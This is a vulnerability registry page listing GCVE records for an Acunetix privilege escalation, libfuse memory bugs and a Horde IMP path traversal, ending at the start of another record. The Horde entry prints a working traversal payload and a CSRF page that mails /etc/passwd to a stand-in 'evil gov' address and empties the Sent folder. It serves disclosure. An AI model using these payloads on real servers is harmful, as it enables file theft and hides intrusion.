- GNA identifier
- GNA-1988 GCVE registry Recent publications
Recent vulnerabilities
387 GCVE records assigned by this organization as GNA-1988GCVE-1988-2026-0172
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-09 13:02
VLAI
EPSS
VEX
Title
Acunetix 25.11.x - Local Privilege Escalation Vulnerability via OpenSSL Configuration (CVE-2026-6958)
Summary
Acunetix 25.11.x - Local Privilege Escalation Vulnerability via OpenSSL Configuration (CVE-2026-6958)
- Software Link:
https://www.acunetix.com
- Affected Versions:
Version 25.11.x (tested on Microsoft Windows 11 and 11 IoT Enterprise LTSC)
Other versions may be affected as well.
- Vulnerability Description:
A local privilege escalation vulnerability has been identified in Acunetix (Web Vulnerability Scanner, or abbreviated
AWVS) 25.11.x
The vulnerability is caused by the use of a hardcoded OpenSSL-related directory path that does not exist by default and
is writable by low-privileged users.
The affected binary, wvsc.exe, runs with SYSTEM privileges and attempts to load OpenSSL-related files from an hardcoded
location:
C:\builds\[PATH OMITTED]\[REDACTED]\openssl.cnf
Since this directory does not exist by default, a low-privileged local user can create the missing directory hierarchy
and place files in a location that is subsequently accessed by the SYSTEM-level process.
As a result, files placed in the attacker-controlled directory may be loaded or otherwise processed by wvsc.exe with
SYSTEM privileges, potentially allowing a local unprivileged attacker to escalate privileges to SYSTEM.
The issue is therefore an insecure OpenSSL directory/search path combined with an unsafe filesystem permission model.
- Proof of Concept:
The PoC in the original advisory demonstrates that a low-privileged local user can create the otherwise missing
directory and cause the SYSTEM-level wvsc.exe process to access attacker-controlled OpenSSL-related files from that
location.
- Impact:
A local attacker with low privileges can potentially execute code with SYSTEM-level privileges, depending on the
OpenSSL-related file being loaded and the execution path reached by wvsc.exe.
- Solution:
The vendor should remove references to development/build-time paths from production binaries and ensure that all
OpenSSL-related files are loaded only from trusted, administrator-controlled directories.
Additionally, filesystem permissions should prevent unprivileged users from creating or modifying directories used by
privileged processes.
- Disclosure Timeline:
[18/04/2026] - Vulnerability discovered
[23/04/2026] - CNA and vendor contacted
[23/04/2026] - Vulnerability details provided - deadline set at 120 days, in accordance with the CNA disclosure policy
[ meantime ] - Multiple follow-up attempts by the CNA to the vendor; Invicti Security repeatedly replied with same
standard message
[31/08/2026] - Public disclosure
- CVE Reference:
CVE-2026-6958 has been assigned to this vulnerability.
- Credits:
Vulnerability discovered by Andrea Intilangelo
- Original Advisory:
https://olografix.org/acme/_poc/CVE-2026-6958.pdf
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
6 references
Relationships
reference
GCVE-1988-2026-0172 (this record)
- related CVE-2026-6958
{
"containers": {
"cna": {
"affected": [
{
"product": "Acunetix",
"vendor": "Invicti",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Andrea Intilangelo"
}
],
"descriptions": [
{
"lang": "en",
"value": "Acunetix 25.11.x - Local Privilege Escalation Vulnerability via OpenSSL Configuration (CVE-2026-6958)\n\n- Software Link:\n\nhttps://www.acunetix.com\n\n- Affected Versions:\n\nVersion 25.11.x (tested on Microsoft Windows 11 and 11 IoT Enterprise LTSC)\nOther versions may be affected as well.\n\n- Vulnerability Description:\n\nA local privilege escalation vulnerability has been identified in Acunetix (Web Vulnerability Scanner, or abbreviated \nAWVS) 25.11.x\nThe vulnerability is caused by the use of a hardcoded OpenSSL-related directory path that does not exist by default and \nis writable by low-privileged users.\nThe affected binary, wvsc.exe, runs with SYSTEM privileges and attempts to load OpenSSL-related files from an hardcoded \nlocation:\n\nC:\\builds\\[PATH OMITTED]\\[REDACTED]\\openssl.cnf\n\nSince this directory does not exist by default, a low-privileged local user can create the missing directory hierarchy \nand place files in a location that is subsequently accessed by the SYSTEM-level process.\nAs a result, files placed in the attacker-controlled directory may be loaded or otherwise processed by wvsc.exe with \nSYSTEM privileges, potentially allowing a local unprivileged attacker to escalate privileges to SYSTEM.\n\nThe issue is therefore an insecure OpenSSL directory/search path combined with an unsafe filesystem permission model.\n\n- Proof of Concept:\n\nThe PoC in the original advisory demonstrates that a low-privileged local user can create the otherwise missing \ndirectory and cause the SYSTEM-level wvsc.exe process to access attacker-controlled OpenSSL-related files from that \nlocation.\n\n- Impact:\n\nA local attacker with low privileges can potentially execute code with SYSTEM-level privileges, depending on the \nOpenSSL-related file being loaded and the execution path reached by wvsc.exe.\n\n- Solution:\n\nThe vendor should remove references to development/build-time paths from production binaries and ensure that all \nOpenSSL-related files are loaded only from trusted, administrator-controlled directories.\n\nAdditionally, filesystem permissions should prevent unprivileged users from creating or modifying directories used by \nprivileged processes.\n\n- Disclosure Timeline:\n\n[18/04/2026] - Vulnerability discovered\n[23/04/2026] - CNA and vendor contacted\n[23/04/2026] - Vulnerability details provided - deadline set at 120 days, in accordance with the CNA disclosure policy\n[ meantime ] - Multiple follow-up attempts by the CNA to the vendor; Invicti Security repeatedly replied with same \nstandard message\n[31/08/2026] - Public disclosure\n\n- CVE Reference:\n\nCVE-2026-6958 has been assigned to this vulnerability.\n\n- Credits:\n\nVulnerability discovered by Andrea Intilangelo\n\n- Original Advisory:\n\nhttps://olografix.org/acme/_poc/CVE-2026-6958.pdf\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:02:40Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/0"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/0"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://olografix.org/acme/_poc/CVE-2026-6958.pdf"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.acunetix.com"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/0"
],
"discovery": "EXTERNAL"
},
"title": "Acunetix 25.11.x - Local Privilege Escalation Vulnerability via OpenSSL Configuration (CVE-2026-6958)",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2026-6958",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0172",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/0",
"automated": true,
"contentSha256": "e25146b1aeacd2cf6ba32a2de80dd1d200e8e23a85ddc6f4f22a401c5f753e15",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/0",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T10:21:01Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0172"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-09T13:02:40Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0172"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0160
Vulnerability from gna-1988 – Published: 2026-09-07 13:35 – Updated: 2026-09-09 13:02
VLAI
EPSS
VEX
Title
Acunetix 25.11.x - Local Privilege Escalation Vulnerability via OpenSSL Configuration (CVE-2026-6958)
Summary
Acunetix 25.11.x - Local Privilege Escalation Vulnerability via OpenSSL Configuration (CVE-2026-6958)
- Software Link:
https://www.acunetix.com
- Affected Versions:
Version 25.11.x (tested on Microsoft Windows 11 and 11 IoT Enterprise LTSC)
Other versions may be affected as well.
- Vulnerability Description:
A local privilege escalation vulnerability has been identified in Acunetix (Web Vulnerability Scanner, or abbreviated
AWVS) 25.11.x
The vulnerability is caused by the use of a hardcoded OpenSSL-related directory path that does not exist by default and
is writable by low-privileged users.
The affected binary, wvsc.exe, runs with SYSTEM privileges and attempts to load OpenSSL-related files from an hardcoded
location:
C:\builds\[PATH OMITTED]\[REDACTED]\openssl.cnf
Since this directory does not exist by default, a low-privileged local user can create the missing directory hierarchy
and place files in a location that is subsequently accessed by the SYSTEM-level process.
As a result, files placed in the attacker-controlled directory may be loaded or otherwise processed by wvsc.exe with
SYSTEM privileges, potentially allowing a local unprivileged attacker to escalate privileges to SYSTEM.
The issue is therefore an insecure OpenSSL directory/search path combined with an unsafe filesystem permission model.
- Proof of Concept:
The PoC in the original advisory demonstrates that a low-privileged local user can create the otherwise missing
directory and cause the SYSTEM-level wvsc.exe process to access attacker-controlled OpenSSL-related files from that
location.
- Impact:
A local attacker with low privileges can potentially execute code with SYSTEM-level privileges, depending on the
OpenSSL-related file being loaded and the execution path reached by wvsc.exe.
- Solution:
The vendor should remove references to development/build-time paths from production binaries and ensure that all
OpenSSL-related files are loaded only from trusted, administrator-controlled directories.
Additionally, filesystem permissions should prevent unprivileged users from creating or modifying directories used by
privileged processes.
- Disclosure Timeline:
[18/04/2026] - Vulnerability discovered
[23/04/2026] - CNA and vendor contacted
[23/04/2026] - Vulnerability details provided - deadline set at 120 days, in accordance with the CNA disclosure policy
[ meantime ] - Multiple follow-up attempts by the CNA to the vendor; Invicti Security repeatedly replied with same
standard message
[31/08/2026] - Public disclosure
- CVE Reference:
CVE-2026-6958 has been assigned to this vulnerability.
- Credits:
Vulnerability discovered by Andrea Intilangelo
- Original Advisory:
https://olografix.org/acme/_poc/CVE-2026-6958.pdf
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
6 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Acunetix",
"vendor": "Invicti",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Andrea Intilangelo"
}
],
"descriptions": [
{
"lang": "en",
"value": "Acunetix 25.11.x - Local Privilege Escalation Vulnerability via OpenSSL Configuration (CVE-2026-6958)\n\n- Software Link:\n\nhttps://www.acunetix.com\n\n- Affected Versions:\n\nVersion 25.11.x (tested on Microsoft Windows 11 and 11 IoT Enterprise LTSC)\nOther versions may be affected as well.\n\n- Vulnerability Description:\n\nA local privilege escalation vulnerability has been identified in Acunetix (Web Vulnerability Scanner, or abbreviated \nAWVS) 25.11.x\nThe vulnerability is caused by the use of a hardcoded OpenSSL-related directory path that does not exist by default and \nis writable by low-privileged users.\nThe affected binary, wvsc.exe, runs with SYSTEM privileges and attempts to load OpenSSL-related files from an hardcoded \nlocation:\n\nC:\\builds\\[PATH OMITTED]\\[REDACTED]\\openssl.cnf\n\nSince this directory does not exist by default, a low-privileged local user can create the missing directory hierarchy \nand place files in a location that is subsequently accessed by the SYSTEM-level process.\nAs a result, files placed in the attacker-controlled directory may be loaded or otherwise processed by wvsc.exe with \nSYSTEM privileges, potentially allowing a local unprivileged attacker to escalate privileges to SYSTEM.\n\nThe issue is therefore an insecure OpenSSL directory/search path combined with an unsafe filesystem permission model.\n\n- Proof of Concept:\n\nThe PoC in the original advisory demonstrates that a low-privileged local user can create the otherwise missing \ndirectory and cause the SYSTEM-level wvsc.exe process to access attacker-controlled OpenSSL-related files from that \nlocation.\n\n- Impact:\n\nA local attacker with low privileges can potentially execute code with SYSTEM-level privileges, depending on the \nOpenSSL-related file being loaded and the execution path reached by wvsc.exe.\n\n- Solution:\n\nThe vendor should remove references to development/build-time paths from production binaries and ensure that all \nOpenSSL-related files are loaded only from trusted, administrator-controlled directories.\n\nAdditionally, filesystem permissions should prevent unprivileged users from creating or modifying directories used by \nprivileged processes.\n\n- Disclosure Timeline:\n\n[18/04/2026] - Vulnerability discovered\n[23/04/2026] - CNA and vendor contacted\n[23/04/2026] - Vulnerability details provided - deadline set at 120 days, in accordance with the CNA disclosure policy\n[ meantime ] - Multiple follow-up attempts by the CNA to the vendor; Invicti Security repeatedly replied with same \nstandard message\n[31/08/2026] - Public disclosure\n\n- CVE Reference:\n\nCVE-2026-6958 has been assigned to this vulnerability.\n\n- Credits:\n\nVulnerability discovered by Andrea Intilangelo\n\n- Original Advisory:\n\nhttps://olografix.org/acme/_poc/CVE-2026-6958.pdf\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:02:40Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/0"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/0"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://olografix.org/acme/_poc/CVE-2026-6958.pdf"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.acunetix.com"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/0"
],
"discovery": "EXTERNAL"
},
"title": "Acunetix 25.11.x - Local Privilege Escalation Vulnerability via OpenSSL Configuration (CVE-2026-6958)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0160",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/0",
"automated": true,
"contentSha256": "e25146b1aeacd2cf6ba32a2de80dd1d200e8e23a85ddc6f4f22a401c5f753e15",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/0",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T10:21:01Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:35:56Z",
"dateUpdated": "2026-09-09T13:02:40Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0160"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0234
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-09 10:12
VLAI
EPSS
VEX
Title
CVE-2026-33150, CVE-2026-33179: libfuse io_uring memory safety vulnerabilities (use-after-free, NULL deref)
Summary
Two memory safety vulnerabilities in libfuse's io_uring code path
(introduced in 3.18.0) have been fixed in libfuse 3.18.2. Only the
io_uring transport is affected; the traditional /dev/fuse path is not.
Affected versions: libfuse >= 3.18.0, < 3.18.2
Fixed in: libfuse 3.18.2
https://github.com/libfuse/libfuse/releases/tag/fuse-3.18.2
CVE-2026-33150: Use-After-Free
Severity: High (CVSS 7.8)
CWE: CWE-416
Use-after-free in io_uring session shutdown path. A local user can
crash the FUSE daemon or potentially execute arbitrary code.
Advisory: https://github.com/libfuse/libfuse/security/advisories/GHSA-qxv7-xrc2-qmfx
Fix: https://github.com/libfuse/libfuse/commit/49fcd891a58f622c098e2ca67d66086f7b213836
Credit: Abhinav Agarwal (reporter)
Remediation review: Akshat Sinha
CVE-2026-33179: NULL Pointer Dereference + Memory Leak
Severity: Moderate (CVSS 5.5)
CWE: CWE-476
Missing NULL checks and error-path cleanup in io_uring queue
initialization can crash the FUSE daemon on allocation failure
and leak NUMA memory.
Advisory: https://github.com/libfuse/libfuse/security/advisories/GHSA-x669-v3mq-r358
Fix: https://github.com/libfuse/libfuse/commit/7beb86c09b6ec5aab14dc25256ed8a5ad18554d7
Credit: Abhinav Agarwal (reporter)
Remediation review: Akshat Sinha
Both issues were reported privately to the libfuse maintainer
and fixed in a coordinated release.
Timeline:
2026-03-16 Use-after-free vulnerability reported to libfuse maintainer
2026-03-17 NULL deref vulnerability reported to libfuse maintainer
2026-03-18 Release 3.18.2 with fixes
2026-03-19 GHSA advisories published (CVE-2026-33150, CVE-2026-33179)
--
Abhinav Agarwal
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
9 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Cve | CVE-2026-33150 CVE-2026-33179 libfuse |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0234 (this record)
- related CVE-2026-33150
- related CVE-2026-33179
{
"containers": {
"cna": {
"affected": [
{
"product": "CVE-2026-33150 CVE-2026-33179 libfuse",
"vendor": "Cve",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Abhinav Agarwal"
}
],
"descriptions": [
{
"lang": "en",
"value": "Two memory safety vulnerabilities in libfuse\u0027s io_uring code path\n(introduced in 3.18.0) have been fixed in libfuse 3.18.2. Only the\nio_uring transport is affected; the traditional /dev/fuse path is not.\n\nAffected versions: libfuse \u003e= 3.18.0, \u003c 3.18.2\nFixed in: libfuse 3.18.2\n https://github.com/libfuse/libfuse/releases/tag/fuse-3.18.2\n\n\nCVE-2026-33150: Use-After-Free\nSeverity: High (CVSS 7.8)\nCWE: CWE-416\n\nUse-after-free in io_uring session shutdown path. A local user can\ncrash the FUSE daemon or potentially execute arbitrary code.\n\nAdvisory: https://github.com/libfuse/libfuse/security/advisories/GHSA-qxv7-xrc2-qmfx\nFix: https://github.com/libfuse/libfuse/commit/49fcd891a58f622c098e2ca67d66086f7b213836\nCredit: Abhinav Agarwal (reporter)\nRemediation review: Akshat Sinha\n\n\nCVE-2026-33179: NULL Pointer Dereference + Memory Leak\nSeverity: Moderate (CVSS 5.5)\nCWE: CWE-476\n\nMissing NULL checks and error-path cleanup in io_uring queue\ninitialization can crash the FUSE daemon on allocation failure\nand leak NUMA memory.\n\nAdvisory: https://github.com/libfuse/libfuse/security/advisories/GHSA-x669-v3mq-r358\nFix: https://github.com/libfuse/libfuse/commit/7beb86c09b6ec5aab14dc25256ed8a5ad18554d7\nCredit: Abhinav Agarwal (reporter)\nRemediation review: Akshat Sinha\n\n\nBoth issues were reported privately to the libfuse maintainer\nand fixed in a coordinated release.\n\nTimeline:\n 2026-03-16 Use-after-free vulnerability reported to libfuse maintainer\n 2026-03-17 NULL deref vulnerability reported to libfuse maintainer\n 2026-03-18 Release 3.18.2 with fixes\n 2026-03-19 GHSA advisories published (CVE-2026-33150, CVE-2026-33179)\n\n--\nAbhinav Agarwal\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-416",
"description": "CWE-416",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-476",
"description": "CWE-476",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:12:06Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/12"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Mar/12"
},
{
"url": "https://github.com/libfuse/libfuse/commit/49fcd891a58f622c098e2ca67d66086f7b213836"
},
{
"url": "https://github.com/libfuse/libfuse/commit/7beb86c09b6ec5aab14dc25256ed8a5ad18554d7"
},
{
"url": "https://github.com/libfuse/libfuse/releases/tag/fuse-3.18.2"
},
{
"url": "https://github.com/libfuse/libfuse/security/advisories/GHSA-qxv7-xrc2-qmfx"
},
{
"url": "https://github.com/libfuse/libfuse/security/advisories/GHSA-x669-v3mq-r358"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Mar/12"
],
"discovery": "EXTERNAL"
},
"title": "CVE-2026-33150, CVE-2026-33179: libfuse io_uring memory safety vulnerabilities (use-after-free, NULL deref)",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2026-33150",
"type": "related"
},
{
"destId": "CVE-2026-33179",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0234",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/12",
"automated": true,
"contentSha256": "4595aaa7135ad609f6410e48b1a9e8430a6c92bad3569c374111d9e5027fdcae",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Mar/12",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-03-21T01:41:03Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0234"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T08:13:41Z",
"dateUpdated": "2026-09-09T10:12:06Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0234"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0021
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
VLAI
EPSS
VEX
Title
[fulldis] CVE-2026-58451 - Horde Groupware IMP path traversal vuln
Summary
this is my first time sending to a mailing list so ive chosen
something easy. here goes:
Summary: Horde Groupware’s IMP Webmail solution contains a path
traversal/local file inclusion vulnerability which could be exploited
to escalate privileges or bypass authentication (through CSRF if
unauthenticated).
the vulnerability is in here:
} elseif (strcasecmp($node->tagName, 'IMG') === 0) {
/* Check for smileys. They live in the JS directory, under
* the base ckeditor directory, so search for that and replace
* with the filesystem information if found (Request
* #13051). Need to ignore other image links that may have
* been explicitly added by the user. */
$js_path = strval(Horde::url($registry->get('jsuri',
'horde'), true));
if (stripos($src, $js_path . '/ckeditor') === 0) {
$file = str_replace(
$js_path,
$registry->get('jsfs', 'horde'),
$src
);
if (is_readable($file)) {
$data_part = new Horde_Mime_Part();
$data_part->setContents(file_get_contents($file));
...
as seen, we control $file, which is just the src in <img src="">. to
get past the checks to hit our file_get_contents sink, we can just
satisfy the stripos check. our (elementary) exploit is thus:
--
<img src="https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts";>
--
this is likely very chainable with any other existing primitive to
achieve rce on horde IMP. for example, heres an easy csrf chain:
--
<!DOCTYPE html>
<html>
<body>
<h1>yo</h1>
<script>
var p1 = new FormData();
p1.append('to', 'john () evil gov');
// land in spam
p1.append('subject', 'hai');
p1.append('html', '1');
p1.append('message',
'<html><body>bye<img
src="http://targ/horde/js/ckeditor/../../../../etc/passwd";></body></html>');
p1.append('identity', '0');
p1.append('priority', 'normal');
p1.append('request_read_receipt', '0');
p1.append('save_sent_mail', '1');
fetch('http://targ/horde/services/ajax.php/imp/sendMessage', {
method: 'POST',
body: p1,
credentials: 'include',
mode: 'no-cors'
})
.then(() => {
console.log("* bye");
setTimeout(() => {
var p2 = new FormData();
p2.append('mbox', 'U0VOVA'); // b64 SENT
// delete
fetch('http://targ/horde/services/ajax.php/imp/emptyMailbox', {
method: 'POST',
body: p2,
credentials: 'include',
mode: 'no-cors'
});
}, 2000);
});
</script>
</body>
</html>
--
PATCH:
update to horde imp 7.0.1 for the patch.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
8 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Cve | CVE-2026-58451 - Horde |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "CVE-2026-58451 - Horde",
"vendor": "Cve",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "\u3164evan via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "this is my first time sending to a mailing list so ive chosen\nsomething easy. here goes:\n\nSummary: Horde Groupware\u2019s IMP Webmail solution contains a path\ntraversal/local file inclusion vulnerability which could be exploited\nto escalate privileges or bypass authentication (through CSRF if\nunauthenticated).\n\nthe vulnerability is in here:\n\n} elseif (strcasecmp($node-\u003etagName, \u0027IMG\u0027) === 0) {\n /* Check for smileys. They live in the JS directory, under\n * the base ckeditor directory, so search for that and replace\n * with the filesystem information if found (Request\n * #13051). Need to ignore other image links that may have\n * been explicitly added by the user. */\n $js_path = strval(Horde::url($registry-\u003eget(\u0027jsuri\u0027,\n\u0027horde\u0027), true));\n if (stripos($src, $js_path . \u0027/ckeditor\u0027) === 0) {\n $file = str_replace(\n $js_path,\n $registry-\u003eget(\u0027jsfs\u0027, \u0027horde\u0027),\n $src\n );\n\n if (is_readable($file)) {\n $data_part = new Horde_Mime_Part();\n $data_part-\u003esetContents(file_get_contents($file));\n ...\n\nas seen, we control $file, which is just the src in \u003cimg src=\"\"\u003e. to\nget past the checks to hit our file_get_contents sink, we can just\nsatisfy the stripos check. our (elementary) exploit is thus:\n--\n\u003cimg src=\"https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts\";\u003e\n--\nthis is likely very chainable with any other existing primitive to\nachieve rce on horde IMP. for example, heres an easy csrf chain:\n\n--\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\n\u003cbody\u003e\n \u003ch1\u003eyo\u003c/h1\u003e\n \u003cscript\u003e\n var p1 = new FormData();\n p1.append(\u0027to\u0027, \u0027john () evil gov\u0027);\n // land in spam\n p1.append(\u0027subject\u0027, \u0027hai\u0027);\n p1.append(\u0027html\u0027, \u00271\u0027);\n p1.append(\u0027message\u0027,\n \u0027\u003chtml\u003e\u003cbody\u003ebye\u003cimg\nsrc=\"http://targ/horde/js/ckeditor/../../../../etc/passwd\";\u003e\u003c/body\u003e\u003c/html\u003e\u0027);\n\n p1.append(\u0027identity\u0027, \u00270\u0027);\n p1.append(\u0027priority\u0027, \u0027normal\u0027);\n p1.append(\u0027request_read_receipt\u0027, \u00270\u0027);\n p1.append(\u0027save_sent_mail\u0027, \u00271\u0027);\n fetch(\u0027http://targ/horde/services/ajax.php/imp/sendMessage\u0026apos;, {\n method: \u0027POST\u0027,\n body: p1,\n credentials: \u0027include\u0027,\n mode: \u0027no-cors\u0027\n })\n .then(() =\u003e {\n console.log(\"* bye\");\n setTimeout(() =\u003e {\n var p2 = new FormData();\n p2.append(\u0027mbox\u0027, \u0027U0VOVA\u0027); // b64 SENT\n // delete\n\nfetch(\u0027http://targ/horde/services/ajax.php/imp/emptyMailbox\u0026apos;, {\n method: \u0027POST\u0027,\n body: p2,\n credentials: \u0027include\u0027,\n mode: \u0027no-cors\u0027\n });\n }, 2000);\n });\n \u003c/script\u003e\n\u003c/body\u003e\n\n\u003c/html\u003e\n--\n\nPATCH:\nupdate to horde imp 7.0.1 for the patch.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:11:59Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/8"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jul/8"
},
{
"url": "http://targ/horde/js/ckeditor/../../../../etc/passwd\""
},
{
"url": "http://targ/horde/services/ajax.php/imp/emptyMailbox\u0026apos"
},
{
"url": "http://targ/horde/services/ajax.php/imp/sendMessage\u0026apos"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts\""
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jul/8"
],
"discovery": "EXTERNAL"
},
"title": "[fulldis] CVE-2026-58451 - Horde Groupware IMP path traversal vuln",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0021",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/8",
"automated": true,
"contentSha256": "83cf4dad4368e78dfc8982e302ba2f7764e6d48049bcc80c6dac2893337b83d0",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/8",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-02T17:04:19Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:20Z",
"dateUpdated": "2026-09-09T10:11:59Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0021"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0023
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
VLAI
